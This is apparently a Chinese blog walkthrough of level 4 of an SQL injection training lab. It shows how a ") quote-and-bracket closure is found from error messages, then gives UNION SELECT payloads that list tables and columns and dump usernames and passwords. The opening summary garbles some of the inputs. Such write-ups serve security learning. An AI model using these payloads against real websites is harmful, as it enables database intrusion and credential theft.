文章描述了一种SQL注入攻击的场景，其中?id=1和?id=1的输入产生相同结果，表明可能存在的SQL注入点。通过输入特定的SQL语法，如?id=1--，可以闭合引号并注释掉后续内容，从而避免错误。进一步的payload，如?id=-1配合UNIONSELECT，用于爆表、爆列以及获取users表中的用户名和密码，揭示了网站的安全漏洞问题。
第四关
输入?id=1和?id=1'结果都是一样，没有报错信息
当我们输入?id=1"的时候，出现了报错信息，根据报错信息我们推测sql语句是
select...from...where id=("我们输入的信息") limit0,1
所以我们输入
?id=1") --+
双引号和括号闭合前面的双引号和括号，--+注释后面的双引号和括号
后面就是
爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆用户名和密码
?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
扫一扫
3826
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
